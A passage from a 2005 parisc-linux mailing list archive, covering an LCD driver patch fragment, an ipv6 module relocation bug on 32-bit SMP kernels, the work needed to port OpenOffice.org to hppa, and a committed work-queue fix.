 		printk(KERN_INFO "LCD display at %lx,%lx registered\n",=20
 			LCD_CMD_REG , LCD_DATA_REG);
 		led_func_ptr =3D led_LCD_driver;
=2D		lcd_print( lcd_text_default );
 		led_type =3D LED_HASLCD;
 		break;
=20
@@ -578,6 +580,11 @@ int __init register_led_driver(int model
 	initialized++;
 	register_reboot_notifier(&led_notifier);
=20
+	/* Ensure the work is queued */
+	if (led_wq) {
+		queue_work(led_wq, &led_task);
+	}
+
 	return 0;
 }
=20

--Boundary-01=_6oFSCo7w00TO0gK--

--nextPart2111924.luNmiN4xfp
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCSFo9OIrGtzS07WgRAm5tAKCUSIA/jHmSU98WJ6WvbuhJRqLcVQCfbpFU
r/f/XxDp4o+nTz2T8/PRASU=
=iRyT
-----END PGP SIGNATURE-----

--nextPart2111924.luNmiN4xfp--

--===============1760184859==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1760184859==--



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Tue, 29 Mar 2005 19:01:26 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <20050330030126.GN2485@tausq.org>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
	<200503272308.32745.dmp@davidmpye.dyndns.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0488408080=="
X-Trace: ger.gmane.org 1416623728 13596 80.91.229.3 (22 Nov 2014 02:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2005 03:01:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 30 Mar 2005 05:01:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 467CD7D67E;
	Tue, 29 Mar 2005 20:03:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06510-07; Tue, 29 Mar 2005 20:03:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 452A37D67F;
	Tue, 29 Mar 2005 20:03:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09FBB7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:03:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06510-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:03:08 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 829B57D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:03:08 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 755531120D9; Tue, 29 Mar 2005 19:01:26 -0800 (PST)
In-Reply-To: <200503272308.32745.dmp@davidmpye.dyndns.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xXM4YsppeSE5+76WZHQhaXN2IGRvb4CG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22537


--===============0488408080==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua"
Content-Disposition: inline


--SUOF0GtieIMvvwua
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefff=
d in=20
> 17 bits)
> module ipv6 relocation of symbol ipv6_chk_addr is out of range (0x3ffefff=
d in=20
> 17 bits)
>=20
> Are these anything to worry about?

Yeah, it's a bug. ipv6 won't work with that kernel because the module is
too big :(

Fixing this requires some work in binutils that nobody has been
motivated enough to pursue yet.

Kyle, if there is enough interest in ipv6, is making it builtin an
option?

randolph
--=20
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--SUOF0GtieIMvvwua
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFCShaGULspdC1Zp9IRArUGAJ4skeJXhZ6szojUtAmdHVjBonnO0gCgs6Mg
iO30wXV1ovbHtc78on/GIm8=
=iJ8W
-----END PGP SIGNATURE-----

--SUOF0GtieIMvvwua--

--===============0488408080==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0488408080==--



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Tue, 29 Mar 2005 21:47:29 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <1112154449.5784.9.camel@mulgrave>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
	<200503272308.32745.dmp@davidmpye.dyndns.org>
	<20050330030126.GN2485@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623729 13598 80.91.229.3 (22 Nov 2014 02:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:29 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2005 03:47:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx024) with SMTP; 30 Mar 2005 05:47:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 842777D68A;
	Tue, 29 Mar 2005 20:49:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07082-04; Tue, 29 Mar 2005 20:49:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD8667D686;
	Tue, 29 Mar 2005 20:49:22 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 292717D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:49:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07082-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:49:19 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 69F1C7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 20:49:19 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j2U3lUA30849; Tue, 29 Mar 2005 22:47:30 -0500
In-Reply-To: <20050330030126.GN2485@tausq.org>
X-Mailer: Evolution 2.0.4 (2.0.4-2) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OUQ4YkF0eSE5+76WZHQhaXN2IGRvb0Af
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22538

On Tue, 2005-03-29 at 19:01 -0800, Randolph Chung wrote:
> Fixing this requires some work in binutils that nobody has been
> motivated enough to pursue yet.

Well ... not necessarily binutils.  The module is compiled with -
ffunction-sections, so it could be fixed in the in-kernel loader as
well ...  Still have to find someone motivated enough to do the work,
though.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Call for Testing
Date: Wed, 30 Mar 2005 00:13:19 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20050330051319.GF24913@roadwarrior.mcmartin.ca>
References: <20050327204550.GC7728@roadwarrior.mcmartin.ca>
	<200503272308.32745.dmp@davidmpye.dyndns.org>
	<20050330030126.GN2485@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623729 13604 80.91.229.3 (22 Nov 2014 02:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2005 05:13:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 30 Mar 2005 07:13:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 771737D686;
	Tue, 29 Mar 2005 22:15:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07181-08; Tue, 29 Mar 2005 22:15:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB1147D687;
	Tue, 29 Mar 2005 22:15:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F1AD7D681
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 22:15:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07082-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 22:15:30 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id B1F777D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 29 Mar 2005 22:15:30 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id BCD4217050
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 00:13:50 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05636-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 00:13:40 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 29E7017081; Wed, 30 Mar 2005 00:13:40 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1867111504-52656d6f746546617454697265-494e424f582e4f7574626f78: 1112159609-00822857218909-v4.0.8
Content-Disposition: inline
In-Reply-To: <20050330030126.GN2485@tausq.org>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wVA4Yk49eSE5+76WZHQhaXN2IGRvb8Dt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22539

On Tue, Mar 29, 2005 at 07:01:26PM -0800, Randolph Chung wrote:
> Fixing this requires some work in binutils that nobody has been
> motivated enough to pursue yet.
> 
> Kyle, if there is enough interest in ipv6, is making it builtin an
> option?
> 

I don't think so... It only effects -32-smp, as far as I can tell
(by testing), which is very few machines that can't run -64-smp
instead.

At this late stage of the game, it would likely cause much more harm
than good to build it in.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OpenOffice.org on hppa
Date: Wed, 30 Mar 2005 05:45:07 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20050330134454.GO2485@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623729 13606 80.91.229.3 (22 Nov 2014 02:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2005 13:45:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 30 Mar 2005 15:45:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB4757D645;
	Wed, 30 Mar 2005 06:47:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11013-06; Wed, 30 Mar 2005 06:47:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BFAE7D689;
	Wed, 30 Mar 2005 06:47:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 221B57D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 06:46:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11013-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 06:46:58 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 9E69E7D424
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 06:46:58 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 91A33111FB9; Wed, 30 Mar 2005 05:45:08 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0cg4YhQ1eSE5+76WZHQhaXN2IGRvb4CH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22540

I took a look at oo.o for hppa... it'll take quite a bit of work to get
it building. Are there enough people interested to make this happen?

Here's what I've found so far; there's probably more.

- oo.o needs libneon23-dev to build, this package is not available in
  Debian, but this is easily fixable. The package source explicitly
  disables builds on hppa, so you can just work around this by
  downloading the libneon23 source
- oo.o source needs a lot of arch-specific stuff to work:
  - build infrastructure
    debian/scripts/vars.hppa
    config_office/set_soenv.in needs to define a hppa section
    solenv/inc/ needs a hppa makefile fragment
    (probably more)
- need to write bridges code (http://porting.openoffice.org/)

i got past the first two items, but the third (bridges) is a significant
piece of work that will require some knowledge of asm and gcc c++ vtable
layouts and PA calling conventions..

if a few other people are interested, i'd be willing to help out....
but it looks like a lot of work :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Another LCD tweak
Date: Wed, 30 Mar 2005 11:15:03 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20050330181503.GA315@colo.lackof.org>
References: <20050328065020.A8616496334@palinux.hppa>
	<42480345.7070607@tiscali.be>
	<20050328172730.GB10159@colo.lackof.org>
	<200503291942.45308.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623730 13608 80.91.229.3 (22 Nov 2014 02:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Mar 2005 18:13:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 30 Mar 2005 20:13:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96E367D6A3;
	Wed, 30 Mar 2005 11:14:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12488-09; Wed, 30 Mar 2005 11:14:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B79B47D69A;
	Wed, 30 Mar 2005 11:14:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CAF407D697
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 11:14:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12131-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 11:14:54 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5DC7B7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Mar 2005 11:14:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 97C07298056;
	Wed, 30 Mar 2005 11:15:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32695-10; Wed, 30 Mar 2005 11:15:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4043C298052; Wed, 30 Mar 2005 11:15:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503291942.45308.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gok4Ys5geSE5+76WZHQhaXN2IGRvb8DV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22541

On Tue, Mar 29, 2005 at 07:42:41PM +0100, David Pye wrote:
> Sorry to keep sending these in, but:

np

> I found an issue where lcd_print tries to manipulate the work queue after it 
> has been destroyed.  Setting it to NULL after destroying it fixes this.

committed.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 31 Mar 2005 06:08:18 -0600
Lines: 17
Approved: news@gmane.org
